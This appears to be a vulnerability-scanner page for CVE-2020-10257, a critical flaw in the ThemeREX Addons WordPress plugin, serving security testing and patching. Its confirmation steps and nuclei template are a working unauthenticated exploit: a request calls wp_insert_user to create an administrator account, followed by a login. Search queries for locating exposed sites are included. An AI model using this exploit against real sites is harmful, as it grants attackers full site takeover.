ThemeREX Addons - Remote Code Execution

criticalseverity

9.8CVSS score

8.9%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

ThemeREX Addons plugin before 2020-03-09 for WordPress contains an access control vulnerability in the /trx_addons/v2/get/sc_layout REST API endpoint, allowing any users to execute PHP functions because includes/plugin.rest-api.php calls trx_addons_rest_get_sc_layout with an unsafe sc parameter, letting attackers execute arbitrary PHP functions, exploit requires no authentication.

Impact

Unauthenticated attackers can execute arbitrary PHP functions, potentially leading to remote code execution and full site compromise.

Fix

Update to version 2020-03-09 or later to fix access control issues.

How to confirm it

Send: GET /wp-json/trx_addons/v2/get/sc_layout?sc=wp_insert_user&role=administrator&user_login={{username}}&user_pass={{password}}
Positive when: contains(body, "{\"data\":") and status_code==200
Send: POST /wp-login.php
Positive when: status_code==302 and contains(header, "wordpress_logged_in")

Run it with nuclei: nuclei -id CVE-2020-10257 -u <target>

The full check

id: CVE-2020-10257

info:
  name: ThemeREX Addons - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    ThemeREX Addons plugin before 2020-03-09 for WordPress contains an access control vulnerability in the /trx_addons/v2/get/sc_layout REST API endpoint, allowing any users to execute PHP functions because includes/plugin.rest-api.php calls trx_addons_rest_get_sc_layout with an unsafe sc parameter, letting attackers execute arbitrary PHP functions, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP functions, potentially leading to remote code execution and full site compromise.
  remediation: |
    Update to version 2020-03-09 or later to fix access control issues.
  reference:
    - https://www.wordfence.com/blog/2020/03/zero-day-vulnerability-in-themerex-addons-now-patched/
    - https://wpscan.com/vulnerability/4ed4e60e-5bbb-4010-a7fe-40eadd8dee64/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10257
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10257
    epss-score: 0.08877
    epss-percentile: 0.95261
    cwe-id: CWE-94
    cpe: cpe:2.3:a:themerex:addons:1.70.3:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    product: themerex
    framework: wordpress
    shodan-query: 'http.html:trx_addons'
    fofa-query: 'body=trx_addons'
  tags: cve,cve2020,rce,wordpress,wp-plugin,wp,themerex,unauth,vkev,vuln

variables:
  username: '{{rand_text_alpha(6)}}'
  password: '{{rand_text_alpha(6)}}'

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-json/trx_addons/v2/get/sc_layout?sc=wp_insert_user&role=administrator&user_login={{username}}&user_pass={{password}} HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{\"data\":")'
          - 'status_code==200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code==302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from